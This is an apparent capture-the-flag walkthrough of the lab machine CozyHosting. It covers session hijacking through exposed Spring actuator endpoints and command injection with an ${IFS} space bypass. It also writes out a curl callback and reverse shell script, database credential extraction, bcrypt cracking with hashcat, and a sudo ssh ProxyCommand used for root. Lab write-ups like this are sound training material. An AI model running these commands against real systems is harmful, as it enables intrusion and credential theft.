#Nmap
Let’s run an Nmap scan to discover any open ports on the remote host.sudo nmap -Pn -sC -sV -O -T3 -p- 10.10.11.230 -oN nmap_scan
1 | Nmap scan report for 10.10.11.230 |
Nmap shows that there are 2 ports open 22 and 80. Also the domain is cozyhosting.htb
so we add the domain to our /etc/hosts
1 | echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts |
#Webiste
Login page http://cozyhosting.htb/login
After running dirsearch -u http://cozyhosting.htb/" we found an endpoint
http://cozyhosting.htb/actuator
The endpoint revealed some good info
http://localhost:8080/actuator/sessions
http://localhost:8080/actuator/beans
http://localhost:8080/actuator/health
http://localhost:8080/actuator/health/{*path}
http://localhost:8080/actuator/env
http://localhost:8080/actuator/env/{toMatch}
http://localhost:8080/actuator/mappings
#Endoint /actuator/sessions
1 | {"DAD1A0B9921669A3828FC1BE56330CBD":"kanderson"} |
The DAD1A0B9921669A3828FC1BE56330CBD is the cookie for kanderson so we can change our cookie and hijack the session. After we change the cookie we can go to the /admin panel (we can find it from the /actuator/mappings endpoint)
.png)
#Admin Dashboard
.png)
At the bottom of the page we see a form that require’s a hostname and username for
automatic patching. We try to submit hostname as 127.0.0.1 and username as test but we get an error “Host key verification failed.”
.png)
Probably this means that a service attempts to use ssh to connect to the hostname and username we provide above. As we don’t need to provide any passwords it uses a id_rsa so the command that the service runs is “ssh -i id_rsa username@hostname”
After some testing I found out that the username does not allow spaces but we can use ${IFS} to bypass that. A simple way to see if the command injection works it to curl a python server that we will host
1 | python3 -m http.server 8888 |
Then we will try to curl our python server and see if we get a callbacktest;curl${IFS}http://10.10.14.15:8888;
.png)
.png)
Now we can generate a shell and upload it to the machine
1 | echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.15/1234 0>&1' > rev.sh |
after creating the rev.sh and our python server is running we start out netcat listener
1 | nc -lvnp 1234 |
.png)
And we execute a curl command pointing to the rev.sh we created
We got a shell, we can upgrade our shell with running
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
.png)
#Lateral Movement
We extract the .jar to tmp
1 | unzip -d /tmp/app cloudhosting-0.0.1.jar |
Inside there after some searching around we can find a application.properties that reveals credentials for a postgresql database.
1 | server.address=127.0.0.1 |
We can see that a postgresql is running on 5432 and we have creds postgres:Vg&nvzAQ7XxR. Using the command psql -h 127.0.0.1 -U postgres to log in we use \list to list all of the database and we see a cozyhosting that looks interesting so we connect to it
1 | \connect cozyhosting |
There are 2 tables one with users and one with hosts we use a simple command to dump the users table.
.png)
1 | select * from users; |
The admin hash is $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
#Cracking The hash
To identify the hash we use hashid $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm or hash-identifier the hash it a bcrypt so after looking for the correct hashcat mode
we save the hash into a file and use hashcat with mode 3200.
1 | hashcat hash -m 3200 /usr/share/wordlists/rockyou.txt |
.png)
The hash cracked to manchesterunited and in the home directory we have seen a user josh so we will try to ssh with josh and manchesterunited.
1 | ssh josh@10.10.11.230 |
the flag is on /home/josh/user.txt
#Privilege Escalation
We run sudo -l and provided the manchesterunited as password and we see that we can execute the /usr/bin/ssh with sudo.
1 | User josh may run the following commands on localhost: |
After a quick search on gtfo bins https://gtfobins.github.io/gtfobins/ssh/ we found that we can run:
1 | sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
and get a root shell, the flag is on /root/root.txt